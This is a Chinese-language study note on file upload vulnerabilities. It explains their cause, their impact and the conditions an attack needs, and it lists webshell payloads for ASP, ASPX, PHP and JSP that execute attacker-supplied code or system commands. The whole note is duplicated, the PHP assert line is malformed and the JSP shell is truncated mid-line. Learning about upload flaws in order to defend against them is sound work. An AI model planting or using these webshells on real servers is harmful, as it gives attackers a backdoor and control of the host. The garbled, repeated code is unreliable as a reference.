GCsec学习(3)()

  • 文件上传文件上传漏洞
  • 文件上传漏洞

文件上传

文件上传漏洞

简介:现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
漏洞产生原因:
上传文件时,如果服务器端没有对客户端上传的文件进行严格的检验或过滤,就容易造成可上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp)
漏洞的危害:
非法用户可以利用上传的脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

  • ASP
<%eval request("x")%>//密码是‘x’
<%execute request("x")%>
  • ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
  • PHP
<?php eval($_POST['x'])?>  //比较标准的用法;不一定是post,也可以是get
<?php assert($_POST['x'];?)>  //php版本>7时不能用了
  • JSP CMD WebShall
<%  
    if("x".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInp
        int a=-1;
        byte[] b=new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

*文件上传漏洞的条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也就不能被称之为漏洞
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,也可能导致攻击不成功

————————
  • 文件上传文件上传漏洞
  • 文件上传漏洞

文件上传

文件上传漏洞

简介:现代互联网的Web应用程序中,上传文件是一种常见的功能,因为它有助于提高业务效率,如果Web应用存在文件上传漏洞,那么恶意用户就可以利用文件上传漏洞将可执行脚本程序(WebShell)上传到服务器中,获得网站的权限,然后可以进一步对服务器进行入侵,扩大控制权限。
漏洞产生原因:
上传文件时,如果服务器端没有对客户端上传的文件进行严格的检验或过滤,就容易造成可上传任意文件的情况,包括上传脚本文件(asp,aspx,php,jsp)
漏洞的危害:
非法用户可以利用上传的脚本文件控制整个网站,甚至控制服务器。这个恶意的脚本文件,又被称为WebShell,也可将WebShell脚本称为一种网页后门,WebShell脚本具有非常强大的功能,比如查看服务器目录、服务器中的文件,执行系统命令等。

  • ASP
<%eval request("x")%>//密码是‘x’
<%execute request("x")%>
  • ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>
  • PHP
<?php eval($_POST['x'])?>  //比较标准的用法;不一定是post,也可以是get
<?php assert($_POST['x'];?)>  //php版本>7时不能用了
  • JSP CMD WebShall
<%  
    if("x".equals(request.getParameter("pwd")))
    {
        java.io.InputStream in=Runtime.getRuntime().exec(request.getParameter("i")).getInp
        int a=-1;
        byte[] b=new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1)
        {
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

*文件上传漏洞的条件
首先,上传的文件能够被Web容器解释执行。所以文件上传后所在的目录要是Web容器所覆盖到的路径
其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或者无法使得Web容器解释这个脚本,那么也就不能被称之为漏洞
最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,也可能导致攻击不成功